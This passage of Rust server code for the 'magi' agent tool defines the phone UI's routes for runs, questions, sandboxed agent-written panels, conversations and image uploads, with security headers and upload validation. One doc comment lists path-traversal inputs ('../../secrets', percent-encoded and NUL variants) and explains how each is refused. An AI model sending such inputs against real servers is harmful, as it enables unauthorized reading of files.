2595    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2596    tokio::spawn(async move {
2597        let mut ticker = tokio::time::interval(POLL);
2598        let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2599        loop {
2600            // The first tick completes immediately, which is what makes the
2601            // stream announce the current revisions on connect.
2602            ticker.tick().await;
2603            let state = Arc::clone(&ui);
2604            let revisions = tokio::task::spawn_blocking(move || {
2605                (
2606                    state.queue.revision(),
2607                    runs_revision(&state.runs),
2608                    state.questions.revision(),
2609                    state.talks.revision(),
2610                    // The loop's counter is in-process state rather than a
2611                    // file, so nothing the three stats above look at would
2612                    // tell this phone that another one started the loop.
2613                    state.lock_loop().rev,
2614                )
2615            })
2616            .await;
2617            let Ok(revisions) = revisions else { break };
2618            if last == Some(revisions) {
2619                continue;
2620            }
2621            last = Some(revisions);
2622            let payload = serde_json::json!({
2623                "queue_rev": revisions.0,
2624                "runs_rev": revisions.1,
2625                "questions_rev": revisions.2,
2626                "talks_rev": revisions.3,
2627                "loop_rev": revisions.4,
2628            });
2629            // Serializing five integers cannot fail; giving up beats looping.
2630            let Ok(event) = Event::default().event("change").json_data(payload) else {
2631                break;
2632            };
2633            if tx.send(event).await.is_err() {
2634                break;
2635            }
2636        }
2637    });
2638    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2639        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2640}
2641
2642/// Change detection token for recorded runs under `runs`.
2643///
2644/// Combines the id and `run.json` modification time of each run, so adding,
2645/// updating, or deleting any run — even an older one — moves the revision and
2646/// notifies connected clients via the change stream. Returns 0 when no runs
2647/// exist.
2648fn runs_revision(runs: &FsPath) -> u64 {
2649    use std::hash::{Hash as _, Hasher as _};
2650
2651    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2652        .into_iter()
2653        .flatten()
2654        .flatten()
2655        .filter_map(|e| {
2656            let path = e.path().join("run.json");
2657            let mtime = path
2658                .metadata()
2659                .ok()?
2660                .modified()
2661                .ok()?
2662                .duration_since(std::time::UNIX_EPOCH)
2663                .ok()?
2664                .as_millis() as u64;
2665            let id = e.file_name().to_string_lossy().into_owned();
2666            Some((id, mtime))
2667        })
2668        .collect();
2669
2670    if entries.is_empty() {
2671        return 0;
2672    }
2673
2674    entries.sort_unstable();
2675    let mut hasher = std::hash::DefaultHasher::new();
2676    for (id, mtime) in &entries {
2677        id.hash(&mut hasher);
2678        mtime.hash(&mut hasher);
2679    }
2680    let h = hasher.finish();
2681    if h == 0 { 1 } else { h }
2682}
2683
2684/// Run ids under `runs`, newest first.
2685///
2686/// Rooted at an explicit directory rather than calling [`run::list_ids`],
2687/// which reads the process-global home: the server has to be drivable against
2688/// a temp directory for any of this to be testable.
2689fn run_ids(runs: &FsPath) -> Vec<String> {
2690    let mut ids: Vec<String> = std::fs::read_dir(runs)
2691        .into_iter()
2692        .flatten()
2693        .flatten()
2694        .filter(|e| e.path().join("run.json").is_file())
2695        .map(|e| e.file_name().to_string_lossy().into_owned())
2696        .collect();
2697    // Ids start with a sortable timestamp.
2698    ids.sort_unstable_by(|a, b| b.cmp(a));
2699    ids
2700}
2701
2702/// Read one run's state from an explicit runs root.
2703fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2704    let path = runs.join(id).join("run.json");
2705    let body =
2706        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2707    let state: RunState =
2708        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2709    if state.schema != run::SCHEMA {
2710        anyhow::bail!(
2711            "run {} was written by a different magi (schema {}, this build speaks {})",
2712            state.id,
2713            state.schema,
2714            run::SCHEMA
2715        );
2716    }
2717    Ok(state)
2718}
2719
2720/// Runs on disk under `runs` whose state this build cannot parse - almost
2721/// always a schema bump, occasionally a run killed mid-write.
2722///
2723/// Exposed so every surface that reports on runs shares one count instead of
2724/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
2725/// `magi doctor` calls this directly rather than guessing at the same number
2726/// a second way.
2727#[must_use]
2728pub fn runs_unreadable(runs: &FsPath) -> usize {
2729    run_ids(runs)
2730        .into_iter()
2731        .filter(|id| read_run(runs, id).is_err())
2732        .count()
2733}
2734
2735/// Expand an id or short id to exactly one run id.
2736fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2737    if runs.join(id).join("run.json").is_file() {
2738        return Ok(id.to_owned());
2739    }
2740    pick(run_ids(runs), id, "run")
2741}
2742
2743/// Expand an id or short id to exactly one task id.
2744fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2745    if queue.path_of(id).is_file() {
2746        return Ok(id.to_owned());
2747    }
2748    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2749}
2750
2751/// A question as the phone reads it.
2752///
2753/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
2754/// text already parsed into a node tree so the client never runs its own
2755/// markdown reader over agent-authored prose. A relative image path in it
2756/// resolves against this question's own panel asset route, which is the one
2757/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
2758/// separate, sandboxed document, but `detail` is rendered inline in the
2759/// operator's own page, so an image reference in it may only ever point at
2760/// files magi itself already serves for this question.
2761#[derive(Debug, Serialize)]
2762struct QuestionView {
2763    #[serde(flatten)]
2764    question: Question,
2765    detail_md: Vec<md::Node>,
2766    /// Is the ball in the agent's court right now?
2767    ///
2768    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
2769    /// [`Question::say`] - so this is the one field that tells the phone to
2770    /// disable the answer controls and show "waiting for the agent" instead of
2771    /// a card the owner can act on. Computed rather than stored on
2772    /// [`Question`] itself, on the same reasoning as `waiting` on
2773    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
2774    /// it here means the client never has to re-derive that rule.
2775    waiting_on_agent: bool,
2776}
2777
2778impl From<Question> for QuestionView {
2779    fn from(question: Question) -> Self {
2780        let base = md::ImageBase::QuestionPanel {
2781            id: question.id.clone(),
2782        };
2783        Self {
2784            detail_md: md::to_nodes(&question.detail, &base),
2785            waiting_on_agent: question.waiting_on_agent(),
2786            question,
2787        }
2788    }
2789}
2790
2791/// `GET /api/questions`.
2792///
2793/// Everything, not just the open ones: an answered question is the record of a
2794/// decision, and the phone is where the operator goes back to check what they
2795/// told an agent at 3am. `ask::Questions::list` already ranks open first.
2796async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2797    blocking(move || {
2798        Ok(Json(
2799            ui.questions
2800                .list()
2801                .into_iter()
2802                .map(QuestionView::from)
2803                .collect(),
2804        ))
2805    })
2806    .await
2807}
2808
2809/// The body of `POST /api/questions/{id}/answer`.
2810///
2811/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
2812/// a bad request rather than a guess: an answer magi invented is worse than a
2813/// question left open.
2814#[derive(Debug, Default, Deserialize)]
2815#[serde(default, deny_unknown_fields)]
2816struct NewAnswer {
2817    choice: Option<String>,
2818    text: Option<String>,
2819}
2820
2821async fn question_answer(
2822    State(ui): State<Arc<Ui>>,
2823    Path(id): Path<String>,
2824    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2825) -> ApiResult<Json<QuestionView>> {
2826    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2827    let answer = match (body.choice, body.text) {
2828        (Some(c), None) => Answer::Choice(c),
2829        (None, Some(t)) => Answer::Text(t),
2830        (Some(_), Some(_)) => {
2831            return Err(ApiError::bad_request(
2832                "send either `choice` or `text`, not both",
2833            ));
2834        }
2835        (None, None) => {
2836            return Err(ApiError::bad_request("send a `choice` or a `text`"));
2837        }
2838    };
2839
2840    blocking(move || {
2841        let id = resolve_question(&ui.questions, &id)?;
2842        let mut q = ui
2843            .questions
2844            .get(&id)
2845            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2846        if !q.status.open() {
2847            // Answered from the terminal, or by another phone, in between the
2848            // list and the tap. The UI shows the recorded answer rather than an
2849            // error, so it needs the record, not just the status.
2850            return Err(ApiError::conflict(format!(
2851                "question {} is already {}",
2852                q.short(),
2853                q.status.as_str()
2854            )));
2855        }
2856        // `Question::answer` owns the rules - an unoffered choice, free text on
2857        // a multiple-choice question, an empty reply - so the route does not
2858        // restate them and cannot drift from the CLI's behaviour.
2859        q.answer(answer).map_err(ApiError::bad_request_from)?;
2860        ui.questions.put(&mut q)?;
2861        Ok(Json(QuestionView::from(q)))
2862    })
2863    .await
2864}
2865
2866/// The body of `POST /api/questions/{id}/say`.
2867#[derive(Debug, Deserialize)]
2868#[serde(deny_unknown_fields)]
2869struct NewSay {
2870    body: String,
2871}
2872
2873/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
2874///
2875/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
2876/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
2877/// file, so there is no turn to serialize against and no
2878/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
2879/// is a *different* process - the run parked behind `magi ask` - and picks
2880/// the reply up on its own poll of the very same file, same as an answer
2881/// does.
2882async fn question_say(
2883    State(ui): State<Arc<Ui>>,
2884    Path(id): Path<String>,
2885    body: std::result::Result<Json<NewSay>, JsonRejection>,
2886) -> ApiResult<Json<QuestionView>> {
2887    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2888    blocking(move || {
2889        let id = resolve_question(&ui.questions, &id)?;
2890        let mut q = ui
2891            .questions
2892            .get(&id)
2893            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2894        if !q.status.open() {
2895            // Same granularity as `question_answer`: answered or abandoned in
2896            // between the list and the tap is not this route's error to
2897            // explain any differently.
2898            return Err(ApiError::conflict(format!(
2899                "question {} is already {}",
2900                q.short(),
2901                q.status.as_str()
2902            )));
2903        }
2904        // `Question::say` owns the one rule that matters here - an empty
2905        // message tells the agent nothing - so the route does not restate it.
2906        q.say(body.body).map_err(ApiError::bad_request_from)?;
2907        ui.questions.put(&mut q)?;
2908        Ok(Json(QuestionView::from(q)))
2909    })
2910    .await
2911}
2912
2913/// Expand an id or short id to exactly one question id.
2914fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2915    if store.path_of(id).is_file() {
2916        return Ok(id.to_owned());
2917    }
2918    pick(
2919        store.list().into_iter().map(|q| q.id).collect(),
2920        id,
2921        "question",
2922    )
2923}
2924
2925/// `GET /api/questions/{id}/panel`.
2926///
2927/// The panel an agent wrote for this question, as `text/html` under
2928/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
2929/// A question without one is a 404 rather than an empty page: the client
2930/// preflights this route with `HEAD` and must be able to tell "no panel" from
2931/// "a panel that rendered blank", and a sandboxed frame is opaque to the
2932/// parent document so it cannot tell the difference by looking.
2933///
2934/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
2935/// sanitises or minifies it - a sanitiser is a list of things someone thought
2936/// of, and the sandbox plus the CSP is a list of things that are allowed, which
2937/// is the direction that stays safe when an agent writes markup nobody
2938/// predicted.
2939async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2940    blocking(move || {
2941        let id = resolve_question(&ui.questions, &id)?;
2942        let Some(html) = ui.questions.panel_html(&id) else {
2943            return Err(ApiError::not_found(format!("question {id} has no panel")));
2944        };
2945        Ok(panel_response(
2946            "text/html; charset=utf-8",
2947            false,
2948            html.into_bytes(),
2949        ))
2950    })
2951    .await
2952}
2953
2954/// `GET /api/questions/{id}/asset/{name}`.
2955///
2956/// One file from the question's own panel directory, so a panel can show a
2957/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
2958/// having to allow anything off this machine.
2959///
2960/// This is the only route in the server where a client names a file, so it is
2961/// the only one with a traversal surface, and the name is checked by
2962/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
2963/// what is worth being explicit about, because the answer is not "all of it in
2964/// one place":
2965///
2966/// * `asset/../../secrets` never reaches this handler at all. axum matches on
2967///   the raw request path and `{name}` spans exactly one segment, so a real
2968///   slash makes the request too long for the route and the router answers 404.
2969/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
2970///   percent-decodes path parameters, so `name` arrives as `../secrets` and
2971///   `..\secrets` respectively, which look like plain filenames to the router.
2972///   The validator refuses them here - both for the literal `..` and because
2973///   `/` and `\` are not in the permitted character set - and answers 400.
2974/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
2975///   the platform's path API is not, and it is refused here for the same
2976///   reason: NUL is not a permitted character.
2977/// * [`Questions::panel_asset`] validates again on read, so the check is not
2978///   load-bearing in only one place. This route's own check exists so the
2979///   failure is a 400 that says which name was wrong, rather than a store error
2980///   the operator has to interpret.
2981async fn question_asset(
2982    State(ui): State<Arc<Ui>>,
2983    Path((id, name)): Path<(String, String)>,
2984) -> ApiResult<Response> {
2985    // Before any filesystem work and before any path is built: a name this
2986    // server will not serve should not become a `PathBuf` at all.
2987    if !crate::ask::valid_asset_name(&name) {
2988        return Err(ApiError::bad_request(format!(
2989            "`{name}` is not a usable asset name"
2990        )));
2991    }
2992    blocking(move || {
2993        let id = resolve_question(&ui.questions, &id)?;
2994        let asset = ui
2995            .questions
2996            .panel_asset(&id, &name)
2997            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2998        let Some(bytes) = asset else {
2999            return Err(ApiError::not_found(format!(
3000                "question {id} has no asset `{name}`"
3001            )));
3002        };
3003        Ok(panel_response(
3004            asset_content_type(&name),
3005            is_svg(&name),
3006            bytes,
3007        ))
3008    })
3009    .await
3010}
3011
3012/// Content type for a panel asset, from a closed whitelist.
3013///
3014/// A whitelist with an `application/octet-stream` fallback rather than a
3015/// guess, because the one answer that must never come out of here is
3016/// `text/html`. An agent that writes `notes.html` into its panel directory and
3017/// links it would otherwise get its own markup rendered at the top level of the
3018/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
3019/// magi's origin - which is precisely the thing the panel design exists to
3020/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
3021///
3022/// `nosniff` accompanies this on every response, so a browser cannot decide it
3023/// knows better than the type we sent.
3024fn asset_content_type(name: &str) -> &'static str {
3025    match extension(name).as_deref() {
3026        Some("png") => "image/png",
3027        Some("jpg" | "jpeg") => "image/jpeg",
3028        Some("gif") => "image/gif",
3029        Some("webp") => "image/webp",
3030        Some("svg") => "image/svg+xml",
3031        Some("css") => "text/css; charset=utf-8",
3032        Some("txt") => "text/plain; charset=utf-8",
3033        _ => "application/octet-stream",
3034    }
3035}
3036
3037/// Is this an SVG, and therefore a file that must never be opened at the top
3038/// level?
3039fn is_svg(name: &str) -> bool {
3040    extension(name).as_deref() == Some("svg")
3041}
3042
3043/// Lowercased extension, or `None` for a name without one.
3044fn extension(name: &str) -> Option<String> {
3045    name.rsplit_once('.')
3046        .map(|(_, ext)| ext.to_ascii_lowercase())
3047}
3048
3049/// Every panel response, with the four headers that make it safe and, for an
3050/// SVG, a fifth.
3051///
3052/// One function rather than a header list per handler, because a panel route
3053/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
3054/// model gone, silently, on one of two routes. Adding a third panel route later
3055/// means calling this, and there is nowhere else to build a panel response.
3056///
3057/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
3058/// as an `<img src>` inside the panel that script cannot run - but the asset
3059/// URL is also a plain URL an operator can be talked into opening in a tab,
3060/// where it is a document on magi's own origin. `Content-Disposition:
3061/// attachment` makes the browser download it instead of rendering it, which
3062/// closes that door without taking away the ability to draw a diff. Raster
3063/// images have no such execution surface and are left inline, so tapping a
3064/// screenshot still shows it.
3065fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3066    let mut res = (
3067        [
3068            (header::CONTENT_TYPE, content_type),
3069            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3070            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3071            (header::REFERRER_POLICY, "no-referrer"),
3072        ],
3073        body,
3074    )
3075        .into_response();
3076    if download {
3077        res.headers_mut().insert(
3078            header::CONTENT_DISPOSITION,
3079            HeaderValue::from_static("attachment"),
3080        );
3081    }
3082    res
3083}
3084
3085/// A talk as the phone reads it.
3086///
3087/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
3088/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
3089/// parses markdown itself.
3090#[derive(Debug, Serialize)]
3091struct TalkView {
3092    #[serde(flatten)]
3093    talk: Talk,
3094    turn_bodies_md: Vec<Vec<md::Node>>,
3095}
3096
3097impl From<Talk> for TalkView {
3098    fn from(talk: Talk) -> Self {
3099        let turn_bodies_md = talk
3100            .turns
3101            .iter()
3102            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3103            .collect();
3104        Self {
3105            turn_bodies_md,
3106            talk,
3107        }
3108    }
3109}
3110
3111/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
3112/// conversation has filed, so the phone can follow one from inside the
3113/// conversation that asked for it rather than hunting the Queue for a task id
3114/// it may not remember.
3115#[derive(Debug, Serialize)]
3116struct TalkDetailView {
3117    #[serde(flatten)]
3118    view: TalkView,
3119    tasks: Vec<TaskView>,
3120}
3121
3122/// `GET /api/talks`.
3123///
3124/// Every conversation, open ones first and newest first - [`Talks::list`]'s
3125/// own order.
3126async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3127    blocking(move || {
3128        Ok(Json(
3129            ui.talks.list().into_iter().map(TalkView::from).collect(),
3130        ))
3131    })
3132    .await
3133}
3134
3135/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
3136/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
3137/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
3138/// end still opens a talk against an older binary.
3139#[derive(Debug, Default, Deserialize)]
3140#[serde(default)]
3141struct NewTalk {
3142    agent: Option<String>,
3143    repo: Option<PathBuf>,
3144}
3145
3146/// `POST /api/talks` - open a conversation. Takes no agent turn: see
3147/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
3148async fn talk_post(
3149    State(ui): State<Arc<Ui>>,
3150    body: std::result::Result<Json<NewTalk>, JsonRejection>,
3151) -> ApiResult<impl IntoResponse> {
3152    // An absent body, or an empty one, is the normal way to open a talk - see
3153    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
3154    // rather than refused.
3155    let body = match body {
3156        Ok(Json(body)) => body,
3157        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3158        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3159    };
3160    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3161    let cfg = config_for(&repo).await?;
3162    let view = blocking(move || {
3163        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3164        Ok(TalkView::from(talk))
3165    })
3166    .await?;
3167    Ok((StatusCode::CREATED, Json(view)))
3168}
3169
3170/// `GET /api/talks/{id}`.
3171async fn talk_detail(
3172    State(ui): State<Arc<Ui>>,
3173    Path(id): Path<String>,
3174) -> ApiResult<Json<TalkDetailView>> {
3175    blocking(move || {
3176        let id = resolve_talk(&ui.talks, &id)?;
3177        let talk = ui.talks.get(&id)?;
3178        let tasks = talk::tasks_of(&ui.queue, &talk.id)
3179            .into_iter()
3180            .map(TaskView::from)
3181            .collect();
3182        Ok(Json(TalkDetailView {
3183            view: TalkView::from(talk),
3184            tasks,
3185        }))
3186    })
3187    .await
3188}
3189
3190/// The body of `POST /api/talks/{id}/say`.
3191///
3192/// `attachments` names ids `POST /api/talks/{id}/attachments` already
3193/// returned - never bytes of its own - so a turn with no images just omits
3194/// the field, which is what an older front end still does.
3195#[derive(Debug, Default, Deserialize)]
3196#[serde(default, deny_unknown_fields)]
3197struct NewTalkTurn {
3198    text: String,
3199    attachments: Vec<String>,
3200}
3201
3202/// `POST /api/talks/{id}/say` - one turn of the conversation.
3203///
3204/// Not filesystem work, and therefore not routed through [`blocking`]: this
3205/// route spawns an agent CLI and a turn here can run for the whole of
3206/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
3207/// research turn is expected to run commands rather than answer from what it
3208/// already knows. Holding an HTTP connection open that long is not a thing
3209/// to ask a phone to do; the operator's message is recorded and answered for
3210/// immediately, and the reply lands in the background, discovered through
3211/// the change stream's `talks_rev` the same way every other update on this
3212/// surface is.
3213async fn talk_say(
3214    State(ui): State<Arc<Ui>>,
3215    Path(id): Path<String>,
3216    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3217) -> ApiResult<(StatusCode, Json<TalkView>)> {
3218    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3219    if body.text.trim().is_empty() && body.attachments.is_empty() {
3220        return Err(ApiError::bad_request("say something"));
3221    }
3222
3223    let id = {
3224        let ui = Arc::clone(&ui);
3225        let asked = id.clone();
3226        blocking(move || resolve_talk(&ui.talks, &asked)).await?
3227    };
3228    // Claimed before the talk is loaded, so the record this turn appends to
3229    // was read after the claim and cannot be a snapshot another turn has
3230    // since replaced.
3231    let _turn = ui.begin_talk_turn(&id)?;
3232
3233    let (talk, cfg) = {
3234        let ui = Arc::clone(&ui);
3235        let id = id.clone();
3236        blocking(move || {
3237            let talk = ui.talks.get(&id)?;
3238            let (cfg, _) = Config::discover(&talk.repo, None)?;
3239            Ok((talk, cfg))
3240        })
3241        .await?
3242    };
3243
3244    // Every attachment id resolved to the metadata `talk::record` actually
3245    // stores, before anything is recorded - an unknown id is a 4xx that
3246    // names it rather than a turn silently missing an image.
3247    let attachments = {
3248        let ui = Arc::clone(&ui);
3249        let id = id.clone();
3250        let ids = body.attachments.clone();
3251        blocking(move || {
3252            ids.into_iter()
3253                .map(|att_id| {
3254                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3255                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3256                    })
3257                })
3258                .collect::<ApiResult<Vec<talk::Attachment>>>()
3259        })
3260        .await?
3261    };
3262
3263    let talks = ui.talks.clone();
3264    let text = {
3265        let mut talk = talk.clone();
3266        let talks = talks.clone();
3267        let said = body.text.clone();
3268        blocking(move || Ok(talk::record(&mut talk, &talks, &said, attachments)?)).await?
3269    };
3270    // Re-read so the spawned task appends to the record that now holds the
3271    // operator's turn, rather than to the snapshot taken before it.
3272    let talk = {
3273        let ui = Arc::clone(&ui);
3274        let id = id.clone();
3275        blocking(move || Ok(ui.talks.get(&id)?)).await?
3276    };
3277    let queued = talk.clone();
3278    tokio::spawn(async move {
3279        let _turn = _turn;
3280        let mut talk = talk;
3281        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3282            // `respond` records the failure in the transcript itself, which is
3283            // what the phone reads; this line is for the operator's terminal.
3284            tracing::warn!("talk {id} turn failed: {e:#}");
3285        }
3286    });
3287
3288    // 202: the operator's message is recorded and a turn is running.
3289    Ok((StatusCode::ACCEPTED, Json(TalkView::from(queued))))
3290}
3291
3292/// `POST /api/talks/{id}/close`.
3293async fn talk_close(
3294    State(ui): State<Arc<Ui>>,
3295    Path(id): Path<String>,
3296) -> ApiResult<Json<TalkView>> {
3297    blocking(move || {
3298        let id = resolve_talk(&ui.talks, &id)?;
3299        let mut talk = ui.talks.get(&id)?;
3300        talk::close(&mut talk, &ui.talks)?;
3301        Ok(Json(TalkView::from(talk)))
3302    })
3303    .await
3304}
3305
3306/// `POST /api/talks/{id}/reopen`.
3307async fn talk_reopen(
3308    State(ui): State<Arc<Ui>>,
3309    Path(id): Path<String>,
3310) -> ApiResult<Json<TalkView>> {
3311    blocking(move || {
3312        let id = resolve_talk(&ui.talks, &id)?;
3313        let mut talk = ui.talks.get(&id)?;
3314        talk::reopen(&mut talk, &ui.talks)?;
3315        Ok(Json(TalkView::from(talk)))
3316    })
3317    .await
3318}
3319
3320/// `DELETE /api/talks/{id}`.
3321///
3322/// Removes the conversation's record and artifacts outright, unlike
3323/// [`talk_close`] which keeps the record as history. A turn already in
3324/// flight is not refused here the way [`run_delete`] refuses a live run:
3325/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
3326/// under [`Talks::guard`], that the record they are about to write back is
3327/// still there, so a delete racing a turn is safe without this route having
3328/// to know a turn is running at all.
3329async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3330    blocking(move || {
3331        let id = resolve_talk(&ui.talks, &id)?;
3332        ui.talks.remove(&id)?;
3333        Ok(StatusCode::NO_CONTENT)
3334    })
3335    .await
3336}
3337
3338/// Expand an id or short id to exactly one talk id.
3339fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3340    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3341}
3342
3343/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
3344/// future `talk-say`.
3345async fn talk_attachment_post(
3346    State(ui): State<Arc<Ui>>,
3347    Path(id): Path<String>,
3348    headers: HeaderMap,
3349    body: Bytes,
3350) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
3351    let mime = validate_attachment(&headers, &body)?;
3352    let name = filename_header(&headers);
3353    let data = body.to_vec();
3354    blocking(move || {
3355        let id = resolve_talk(&ui.talks, &id)?;
3356        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
3357        Ok((StatusCode::CREATED, Json(att)))
3358    })
3359    .await
3360}
3361
3362/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
3363/// `<img>` tag in the transcript.
3364async fn talk_attachment_get(
3365    State(ui): State<Arc<Ui>>,
3366    Path((id, att)): Path<(String, String)>,
3367) -> ApiResult<Response> {
3368    blocking(move || {
3369        let id = resolve_talk(&ui.talks, &id)?;
3370        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
3371            return Err(ApiError::not_found(format!(
3372                "talk {id} has no attachment `{att}`"
3373            )));
3374        };
3375        Ok(attachment_response(&meta.mime, data))
3376    })
3377    .await
3378}
3379
3380/// Validate an attachment upload's declared `Content-Type` and the bytes
3381/// themselves, returning the canonical mime on success.
3382///
3383/// Two checks, both required: the header has to name one of
3384/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
3385/// simply never in the list, active content rather than a picture, the same
3386/// exclusion [`asset_content_type`]'s doc explains), and the file's own
3387/// magic number has to agree. The second is what stops a mislabeled upload -
3388/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
3389/// a declared type is a claim, not a fact, so it is never trusted alone.
3390fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
3391    if data.len() > ATTACHMENT_MAX_BYTES {
3392        return Err(ApiError::bad_request(format!(
3393            "attachment is {} bytes, over the {} MiB limit",
3394            data.len(),
3395            ATTACHMENT_MAX_BYTES / (1024 * 1024)
3396        ))
3397        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
3398    }
3399    if data.is_empty() {
3400        return Err(ApiError::bad_request("attachment is empty"));
3401    }
3402    let declared = declared_mime(headers)?;
3403    match sniffed_mime(data) {
3404        Some(sniffed) if sniffed == declared => Ok(declared),
3405        Some(sniffed) => Err(ApiError::bad_request(format!(
3406            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
3407        ))),
3408        None => Err(ApiError::bad_request(
3409            "the file's bytes do not match any accepted image format",
3410        )),
3411    }
3412}
3413
3414/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
3415/// and nothing else - parameters like `; charset=` are stripped, but the
3416/// value itself is not otherwise interpreted.
3417fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
3418    let raw = headers
3419        .get(header::CONTENT_TYPE)
3420        .and_then(|v| v.to_str().ok())
3421        .unwrap_or("")
3422        .split(';')
3423        .next()
3424        .unwrap_or("")
3425        .trim()
3426        .to_ascii_lowercase();
3427    ATTACHMENT_MIME_WHITELIST
3428        .iter()
3429        .find(|&&m| m == raw)
3430        .copied()
3431        .ok_or_else(|| {
3432            if raw == "image/svg+xml" {
3433                ApiError::bad_request(
3434                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
3435                     not just a picture",
3436                )
3437            } else if raw.is_empty() {
3438                ApiError::bad_request("Content-Type is required for an attachment upload")
3439            } else {
3440                ApiError::bad_request(format!(
3441                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
3442                     image/gif or image/webp"
3443                ))
3444            }
3445        })
3446}
3447
3448/// Identify an image by its magic number, independent of whatever
3449/// `Content-Type` claimed.
3450fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
3451    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
3452        Some("image/png")
3453    } else if data.starts_with(b"\xff\xd8\xff") {
3454        Some("image/jpeg")
3455    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
3456        Some("image/gif")
3457    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
3458        Some("image/webp")
3459    } else {
3460        None
3461    }
3462}
3463
3464/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
3465/// display - see [`talk::Attachment::name`]'s doc on why it never
3466/// contributes to a path. A missing or blank header (curl without it, an
3467/// older front end) falls back to a generic name rather than refusing the
3468/// upload over a field that is cosmetic.
3469fn filename_header(headers: &HeaderMap) -> String {
3470    headers
3471        .get(FILENAME_HEADER)
3472        .and_then(|v| v.to_str().ok())
3473        .map(str::trim)
3474        .filter(|s| !s.is_empty())
3475        .unwrap_or("attachment")
3476        .to_owned()
3477}
3478
